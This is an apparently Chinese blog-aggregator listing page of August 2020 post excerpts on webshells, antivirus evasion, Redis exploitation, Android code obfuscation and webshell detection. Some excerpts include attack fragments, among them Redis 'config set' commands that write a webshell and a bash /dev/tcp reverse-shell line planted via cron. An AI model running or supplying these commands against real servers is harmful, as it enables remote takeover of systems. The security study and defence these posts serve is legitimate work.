webshell代码混淆

（SSRF+Redis获得Webshell）&旁站攻击

(1)利用计划任务执行命令反弹shell(2)写ssh-keygen公钥然后使用私钥登陆(3)往web物理路径写webshell保护：限制登录ip，添加密码，修改默认端口二、SSRF漏洞原理、利用方式及修
正能量y先生·2020-08-20 03:50

通过VNC向树莓派传送文件

服务器批量管理工具当前可批量管理的为：1、win系列的操作系统（含VPS、VM）2、linux操作系统：CentOS、Ubuntu、Debian等，支持命令及可视化SFTP管理3、linux的vnc、win的vnc4、FTP，webshell
引力.·2020-08-20 00:49

【免杀】————2、php免杀木马的思路

一般的，利用能够执行系统命令、加载代码的函数，或者组合一些普通函数，完成一些高级间谍功能的网站后门的脚本，叫做Webshell。
FLy_鹏程万里·2020-08-19 23:37

java源代码加密+使用proguard混淆java web项目代码+自定义Classloader

如何保护我们的源代码，实际上，应该有几种方法可以使用：1、使用代码混淆器2、重载应用服务器的classloader使用代码混淆器proguard进行代码混淆1.首先下载proGuard.zip到本地:proguard4.5beta4
JEECG开源·2020-08-19 22:55

代码混淆及android配置

1什么是代码混淆百度百科解释：代码混淆(Obfuscatedcode)亦称花指令，是将计算机程序的代码，转换成一种功能上等价，但是难于阅读和理解的形式的行为。
丁丁匠artizan·2020-08-19 22:15

Webshell检测

即使是一款拥有99.9%的Webshell检出率的检测引擎，依然可能存在Webshell绕过的情况。最好的方式就是做文件完整性验证。
purpledragon9527·2020-08-19 20:09

NSA发布WebShell恶意软件检测与预防报告

点击蓝字关注我们美国国家安全局（NSA）和澳大利亚信号局（ASD）本周发布了一份安全公告，警告企业尽快从Web服务器和内部服务器中检测常见的WebShell恶意软件。
安全牛·2020-08-19 19:33

如何绕过堡垒机远程登录

假设一个场景：在Webshell中执行mimikatz获取到win管理员密码，并且本地查看端口3389是开放的，可是从当前跳板机无法远程到目标机器。
Bypass--·2020-08-19 18:13

Android 代码混淆语法讲解及常用模板

转载请注明原博客地址Android代码混淆语法讲解及常用模板前言混淆对于每一个开发者来说都不陌生，对于大多数APP而言，在上线之前，通常会进行代码混淆，加固，防止自己的APP被别人轻易破解。
gdutxiaoxu·2020-08-19 09:02

Redis未授权访问漏洞的利用

web渗透学习交流群：811401950利用redis写webshell在redis-cli中写入以下命令:configsetdir/var/www/html/configsetdbfilenameredis.phpsetwebshell
小小秋叶·2020-08-18 23:58

Python安全之编写反弹连接‘免杀’后门

生成后门的工具：虽然在WEB安全专栏，不过今天要编写的是一个二进制后门，而不是WEBSHELL。
沙漠网管·2020-08-18 23:17

轻取帝国CMS管理员密码

“帝国”CMS曝出的漏洞能够让黑客在1分钟内拿到管理员的账户密码，之后更能轻松获取webshell。下面让我们一起来对“帝国”CMS进行一次入侵检测。
weixin_33816300·2020-08-18 22:11

通过PowerShell获取Windows系统密码Hash

用什么方法才能有尽可能高的权限，同时能更有效的隐藏自己，是留webshell，留后门，种木马还是Rootkit？webshell，哪怕是一句话木马都很容易被管理员清除，放了木马，也容易被有经验
「已注销」·2020-08-18 20:06

nginx+lua+ngx_lua_waf实现waf功能

测试，xss,×××F等web***防止svn/备份之类文件泄漏防止ApacheBench之类压力测试工具的***屏蔽常见的扫描***工具，扫描器屏蔽异常的网络请求屏蔽图片附件类目录php执行权限防止webshell
bichao9782199·2020-08-18 20:35

使用ProGurad进行混淆

ProGurad可以进行代码混淆和优化。
alicc·2020-08-18 19:33

Android App代码混淆及混淆规则 (Progurad)

AndroidApp代码混淆终极解决方案-https://blog.csdn.net/w690333243/article/details/76068244Android混淆-https://www.jianshu.com
desaco·2020-08-18 19:38

Redis未授权访问漏洞

一、写入WebShell1.1适用系统WindowsLinux1.2利用前提Redis可扫到开放端口（对公网开放/渗透到内网环境）没有设置IP访问限制，默认没有设置密码（在内网中很常见，公网基本绝迹）可以知道
風月长情·2020-08-18 19:12

GooGle Hack 让你瞬间成为黑客

googlehacking其实并算不上什么新东西,当时并没有重视这种技术,认为webshell什么的,并无太大实际用途.googlehacking其实并非如此简单...常用的google关键字：foo1foo2
xdfwsl·2020-08-18 19:27

冰蝎3.0的使用方法与默认密码更改方法

首先看看下载后有什么文件：server文件中放的是各种语言的webshell，如下图：环境配置这里我使用的php的webshell做的实验。
Shanfenglan7·2020-08-18 18:28

微信系列研究之-----资源文件保护的小把戏

前言微信对APK进行多维度的保护，包括我们以前提到的客户端到服务器验证签名，插件验证，文件变动检测，代码混淆，把核心功能放在SO中等。其中比较有特色的是对资源文件的保护，防止被恶意分析和山寨。
Omni-Space·2020-08-18 15:42

asmx webshell

测试在上传webshell的时候遇见asp.net的站，传aspx被拦截，测试发现能够解析asmx，搜了下发现这篇文章https://www.cnblogs.com/Ivan1ee/p/10278625
gelinlang·2020-08-18 15:08

zip 优化，移除无用资源，混淆

as开启代码混淆和混淆规则app的builde.gradle的文件下，buildTypes节点添加release节点，minifyEnabled属性表示是否开启混淆，proguardFiles表示混淆依赖的文件
daimengs·2020-08-18 08:29

PHP木马的防范方法

一、防止php木马执行webshell打开safe_mode，在，php.ini中设置disable_functions=passthru，exec，shell_exec，system二者选一即可，也可都选
清蒸羊·2020-08-18 03:49

网页病毒挂马原理解析

所谓的挂马，就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day,等各种方法获得网站管理员账号，然后登陆网站后台，通过数据库备份/恢复或者上传漏洞获得一个webshell
bing_JavaScript·2020-08-17 18:09

《Windows安全机制》之DEP(数据执行保护)

DEP机制的保护原理DEP（数据执行保护，DataExecutionPrevention）就是用来弥补计算机对数据和代码混淆这一天然缺陷的。DEP的基本原理是将数据所在内存页标识为不可执行
王大碗Dw·2020-08-17 16:28

菜刀失效以后得到web的方法

通过执行nc的命令可以得到webshell。首先，使用nc在kail上监听端口：nc-lvp7777第二步：b
weixin_30834783·2020-08-17 16:04

Android代码混淆

前言Android代码混淆是让Android项目避免轻易被逆向分析，防止代码安全泄露的手段之一。它将工程中的Android代码用简单抽象的字母或单词代替原有的代码名称。
LawCoder·2020-08-17 14:05

利用public权限获取webshell

通过SQL注入获取服务器的webshell，相关方法已经介绍很多了，但大多数方法都是基于SA权限的，而在实际情况中，通过注入更多的是获取到public权限，如何利用public权限就能获取webshell
purpleforest·2020-08-17 13:26

DEP机制的保护原理

机制的保护原理溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷，就目前来看重新去设计计算机体系结构基本上是不可能的，我们只能靠向前兼容的修补来减少溢出带来的损害，DEP（数据执行保护，DataExecutionPrevention）就是用来弥补计算机对数据和代码混淆这一天然缺陷的
iteye_4515·2020-08-17 12:33

BugkuCTF WEB解题记录 16-20

以后的几天将持续更新BugkuCTFWEB部分的题解，为了不影响阅读，所以每五道题的题解以一篇文章的形式发表，感谢大家一直以来的支持和理解，共勉~~~网站被黑题目链接http://120.24.86.145:8002/webshell
aap49042·2020-08-17 11:25

使用base64+gzinflate压缩编码来加密webshell

压缩加密代码：100){//去除PHP文件注释和空白，减少文件大小$contents=php_strip_whitespace($filename);//去除PHP头部和尾部标识$headerPos=strpos($contents,'');$contents=substr($contents,$headerPos+5,$footerPos-$headerPos);$encode=base64_e
FLy_鹏程万里·2020-08-17 11:21

文件上传漏(1)

文件上传漏洞原理程序员由于对上传的文件类型、内容没有进行严格限定，导致攻击者可以通过上传木马获取服务器的webshell权限（webshell:webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境
ruigeling·2020-08-17 10:26

Android Studio基本使用

主要内容：（1）环境搭建（2）新建项目（含Module创建）（3）代码混淆（4）常用调试功能及应用分析相关（5）打包APK一、环境搭建（Windows）（1）安装JDK，下载地址，注意AS要
weixin_30639719·2020-08-17 06:31

Android 代码混淆

-keepclasseswithmembernamesclass*{#保留native方法名和包含natvie方法的类名native;}#保留继承Person的类的成员方法get和set方法名不被混淆-keepclassmemberspublicclass*extendsstudy.dlm.com.proguardapplication.Person{voidset*(***);***get*()
阿杜大·2020-08-17 06:31

Android Studio 代码混淆(你真的会混淆吗)

两点水安卓巴士Android开发者门户2017-06-30点击上方“蓝字”订阅，查看更多文章作者本文由两点水投稿，博客地址：http://www.apkbus.com/myspaceblog-911082.html前言今天要打包新产品，突然忘了混淆的参数是怎么写的了，虽然之前也混淆过，可是具体配置的参数代码有些记不起来了，因此决定花点时间写篇博客记录一下，方便以后查找和自己的记忆.AndroidS
阿杜大·2020-08-17 06:31

【问题解决】CVM（腾讯云主机）远程登录问题的解决

ping结果出现异常，即说明本地主机与Ubuntu远程主机网络连接异常2.使用webshell登录远程主机，在远程主机中执行pingwww.baidu.com，ping结果异常。推测
little_stupid_child·2020-08-17 05:47

cobalt strike快速上手指南（二）

继续功能上的一些体验分享在cs的shell上线后，就会获取到beacon，然后就有一些功能能够happy了文件管理上线后，比较重要的功能就是文件管理功能，文件浏览器，就类似拿到webshell后，能够通过蚁剑等后门管理工具进行文件控制一样
awindog·2020-08-17 05:16

FCSC 2020 CTF 代码混淆逆向题 Keykoolol 的 writeup

通过基于虚拟机的混淆保护了keygenme，这是一种基于Miasm动态符号执行（DSE）的解决方案，可自动反汇编VM字节码。几周前，我参加了法国网络安全挑战赛（简称FCSC）。由法国国家网络安全局（ANSSI）组建的JeopardyCTF，以选择将在2020年底参加欧洲网络安全挑战赛（ECSC）的法国团队。在提出的挑战（加密，反向，pwn，网络，取证，硬件）中，我真的很喜欢做一个名为keykool
systemino·2020-08-17 04:22

端口转发工具--lcx

它是一款命令行工具，当然也可以在有权限的webshell下执行，正因如此lcx常被认为是一款黑客入侵工具，lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。
浅笑⁹⁹⁶·2020-08-17 04:40

常用网站木马文件后门检测工具

我们从网上下载web源码的时候有时会不小心下到带后门的程序，可以使用以下介绍的几款Webshell查杀工具来检测一下，软件查后门需多方对比，有能力请手动验证。资源来源于loc。
weixin_33682790·2020-08-17 03:33

JSP程序开发模式详介

因为将大部分的Java代码与HTML代码混淆在一起，会给程序的维护和调试带来很多的困难，而且对于整个程
乖点吧！宝贝·2020-08-16 23:35

一句话木马免杀（截止2020年8月16日通杀D盾、安全狗，微步，webshellKiller）

首先一句话木马：D盾扫描，5级分开写：1D盾扫描，4级使用可变函数的技巧（PHP支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途）1D盾扫描，3级使用array_map()函数（为数组的每个元素应用回调函数）1D盾扫描，2级把assert处理一下1D盾扫描，1级既然显示数组字符串合并，那么
ABKing·2020-08-16 23:00

一句话木马和菜刀的使用

一句话木马和菜刀的使用一句话木马在很多的渗透过程中，渗透人员会上传一句话木马，简称webshell,到目前web服务目录继而提权获取系统权限，不论asp、php、jsp、aspx基本原理：利用文件上传漏洞往目标网站上传一句话木马然后通过菜刀本地就可以获得整个网站的控制权
dark_planet·2020-08-16 23:00

常见的挖矿程序处理方式

1.服务器怎么会中挖矿木马程序肉鸡弱口令webshellxss软件漏洞bugrediszkmysql0day等造成服务器被扫描并且提权2首先遇到这样情况，我们杀掉挖矿的程序它会自己起来没清理干净定时任务命令修改开机自启动文件历史记录
weixin_30593443·2020-08-16 21:37

webshell注入-防止DDos攻击-暴力破解root密码-自动劫持密码发送邮件

一、webshell使用方法1、攻击思路想要拿下一台主机A的权限：1）了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞。2）拿到对A有一定权限的身份。
菜鸟、上路·2020-08-16 16:15

MySQL数据库***及漏洞利用总结

在针对网站***中，很多都是跟MySQL数据库有关，各种MySQL注入，MySQL提权，MySQL数据库root账号webshell获取等的，但没有一个对MySQL数据库*
weixin_34357887·2020-08-16 16:20

redis未授权漏洞和主从复制rce漏洞利用

***bash-i>&/dev/tcp/192.168.1.1/44440>&1\n"configsetdir/var/spool/cron/configsetdbfilenamerootsave获取webshellconfigsetdir
weixin_30675967·2020-08-16 15:43

joomla CMS后台另类拿WebShell方法

漏洞概要关注数(0)关注此漏洞缺陷编号：WooYun-2011-02640漏洞标题：joomlaCMS后台另类拿WebShell方法相关厂商：joomlaCMS漏洞作者：akacd提交时间：2011-08
fengling132·2020-08-16 12:28

全程带阻：记一次授权网络攻防演练（下）

前情提要：全程带阻：记一次授权网络攻防演练（上）建立据点真是麻烦，整了这么久，才获得一个可用的上传功能而已，还不一定能上传webshell，走一步看一步。
bylfsj·2020-08-16 12:39

webshell下记录WordPress登陆密码

webshell下记录Wordpress登陆密码方便进一步社工Wordpress的密码破解可以说基本是没招了，悲剧只好采用记录密码了。
asli33·2020-08-16 12:35
上一页 35 36 37 38 39 40 41 42 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他